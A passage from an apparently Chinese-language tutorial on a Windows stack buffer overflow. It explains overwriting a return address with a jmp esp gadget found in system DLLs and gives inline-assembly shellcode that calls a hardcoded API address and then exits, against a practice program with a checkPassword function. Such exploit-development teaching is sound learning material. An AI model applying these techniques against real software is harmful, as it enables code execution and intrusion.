上一篇我们提到,我们要把shellcode的绝对地址读入进去,才能进行指令跳转。但是这个绝对地址,即使不开启随机基址,重启之后就会变化。我们当然不希望重启电脑之后就用不了了,那该怎么办呢?
我们来观察一下数据的储存位置。从ebp-C的位置开始,十二个字节是栈内的局部变量。接下来的4字节是push进去的ebp,然后是checkPassword函数结束后的返回地址。我们写入的shellcode存在哪里?存在紧跟着checkPassword函数结束后的返回地址后面。结合汇编指令:
最后几个指令是这样的,已经把ebp弹出,并且执行ret指令后,存进去的返回地址也会被弹出,并且EIP会指向这个返回地址。所以,返回地址被弹出来后,esp的值是不是就是我们shellcode的地址。因此,如果我们的返回地址,地址的指令是jmp esp,那不就能直接执行我们的shellcode了吗?
根据操作系统知识,内存被划分为用户空间和内核空间。我们多次调试发现,很多内核函数,每一次所放的地址都是一样的。事实上,在一般情况下,对于同一个操作系统,内核函数所加载的地址都是一样的。因此,我们就寻找存放在0x7F开头的地址的jmp esp指令,写入要返回的地址,就能完善我们的栈溢出了。
因此,我写入的数据是这样的:
shellcode为以下汇编代码:
#include<Windows.h>
#include<iostream>
void _declspec(naked) shellcode()
{
__asm
{
push 0;
push 0;
push 0;
push 0;
mov eax, 0x767AAC60;
call eax;
xor eax, eax;
mov ebx, 0x75C12F60;//这次调用Exit函数直接退出程序
jmp ebx;
}
}
int main()
{
LoadLibraryA("user32.dll");
//exit(0);
shellcode();
return 0;
}
至此,栈溢出完成。